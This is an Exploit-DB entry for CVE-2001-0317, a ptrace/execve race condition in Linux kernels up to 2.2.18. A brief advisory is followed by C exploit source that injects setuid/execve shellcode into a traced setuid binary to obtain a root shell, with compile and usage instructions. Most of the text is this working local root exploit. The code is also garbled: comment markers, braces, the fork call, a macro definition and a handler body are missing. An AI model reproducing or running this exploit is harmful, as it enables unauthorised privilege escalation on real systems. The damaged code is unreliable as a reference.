Linux kernel <= 2.2.18 - ptrace/execve Race Condition Vulnerability 2

ID EDB-ID:20721
Type exploitdb
Reporter Wojciech Purczynski
Modified 2001-03-27T00:00:00


Linux kernel 2.2.18 ptrace/execve Race Condition Vulnerability (2). CVE-2001-0317 . Local exploit for linux platform

The Linux kernel is the core of all distributions of the Linux Operating System. It was originally written by Linus Torvalds, and is maintained by a community of developers.
A problem in the Linux Kernel could make it possible for a local user to gain elevated privileges. A problem with the checking of process tracing on programs attempting to execute other programs that are setuid or setgid. It is possible to trace a process after it has entered a setuid or setgid execution state.
This makes it possible for a local user to change parts of the process as they function, and potentially gain elevated privileges. 

 * epcs2 (improved by lst [])
 * ~~~~~~~
 * exploit for execve/ptrace race condition in Linux kernel up to 2.2.18
 * originally by:
 * (c) 2001 Wojciech Purczynski / cliph / <>
 * improved by:
 * lst []
 * This sploit does _not_ use brute force. It does not need that.
 * It does only one attemt to sploit the race condition in execve. 
 * Parent process waits for a context-switch that occur after 
 * child task sleep in execve.
 * It should work even on openwall-patched kernels (I haven't tested it).
 * Compile it:
 *	cc epcs.c -o epcs
 * Usage:
 *	./epcs [victim]
 * It gives instant root shell with any of a suid binaries.
 * If it does not work, try use some methods to ensure that execve
 * would sleep while loading binary file into memory,
 * 	i.e.: cat /usr/lib/* >/dev/null 2>&1
 * Tested on RH 7.0 and RH 6.2 / 2.2.14 / 2.2.18 / 2.2.18ow4
 * This exploit does not work on 2.4.x because kernel won't set suid 
 * privileges if user ptraces a binary.
 * But it is still exploitable on these kernels.
 * Thanks to Bulba (he made me to take a look at this bug ;) )
 * Greetings to SigSegv team.
 * -- d00t
 * improved by lst []
 * props to kevin for most of the work
 * now works on stack non-exec systems with some neat trickery for the automated
 * method, ie. no need to find the bss segment via objdump
 * particularly it now rewrites the code instruction sets in the 
 * dynamic linker _start segment and continues execution from there.
 * an aside, due to the fact that the code self-modified, it wouldnt work
 * quite correctly on a stack non-exec system without playing directly with
 * the bss segment (ie no regs.eip = regs.esp change).  this is much more 
 * automated.  however, do note that the previous version did not trigger stack 
 * non-exec warnings due to how it was operating.  note that the regs.eip = regs.esp 
 * method will break on stack non-exec systems.
 * as always.. enjoy.

#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <signal.h>
#include <linux/user.h>
#include <sys/wait.h>
#include <limits.h>
#include <errno.h>
#include <stdlib.h>

#define VICTIM "/usr/bin/passwd"
#define SHELL "/bin/sh"

 * modified simple shell code with some trickery (hand tweaks)
char shellcode[]=
	"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"		/* setuid(0) */
	"\x31\xc0\x50\xeb\x17\x8b\x1c\x24"		/* execve(SHELL) */
	"\x90\x90\x90\x89\xe1\x8d\x54\x24"		/* lets be tricky */
	"\xff" SHELL "\x00\x00\x00" ;			/* pad me */

volatile int cs_detector=0;

void cs_sig_handler(int sig)

void do_victim(char * filename)
	while (!cs_detector) ;
	kill(getppid(), CS_SIGNAL);
	execl(filename, filename, NULL);

int check_execve(pid_t victim, char * filename)
	char path[PATH_MAX+1];
	char link[PATH_MAX+1];
	int res;
	snprintf(path, sizeof(path), "/proc/%i/exe", (int)victim);
	if (readlink(path, link, sizeof(link)-1)<0) {
		return -1;
	res=!strcmp(link, filename);
	if (res) fprintf(stderr, "child slept outside of execve\n");
	return res;

int main(int argc, char * argv[])
	char * filename=VICTIM;
	pid_t victim;
	int error, i;
	struct user_regs_struct regs;

	/* take our command args if you wanna play with other progs */
	if (argc>1) filename=argv[1];

	signal(CS_SIGNAL, cs_sig_handler);

	if (victim<0) {
		perror("fork: victim");
	if (victim==0) do_victim(filename);

	kill(victim, CS_SIGNAL);
	while (!cs_detector) ;
	if (ptrace(PTRACE_ATTACH, victim)) {
		perror("ptrace: PTRACE_ATTACH");
		goto exit;
	if (check_execve(victim, filename))
		goto exit;

	(void)waitpid(victim, NULL, WUNTRACED);
	if (ptrace(PTRACE_CONT, victim, 0, 0)) {
		perror("ptrace: PTRACE_CONT");
		goto exit;

	(void)waitpid(victim, NULL, WUNTRACED);
	if (ptrace(PTRACE_GETREGS, victim, 0, &regs)) {
		perror("ptrace: PTRACE_GETREGS");
		goto exit;

	/* make sure that last null is in there */
	for (i=0; i<=strlen(shellcode); i+=4) {
		if (ptrace(PTRACE_POKETEXT, victim, regs.eip+i,
						    *(int*)(shellcode+i))) {
			perror("ptrace: PTRACE_POKETEXT");
			goto exit;

	if (ptrace(PTRACE_SETREGS, victim, 0, &regs)) {
		perror("ptrace: PTRACE_SETREGS");
		goto exit;

	fprintf(stderr, "bug exploited successfully.\nenjoy!\n");
	if (ptrace(PTRACE_DETACH, victim, 0, 0)) {
		perror("ptrace: PTRACE_DETACH");
		goto exit;

	(void)waitpid(victim, NULL, 0);
	return 0;
	fprintf(stderr, "d0h! error!\n");
	kill(victim, SIGKILL);
	return -1;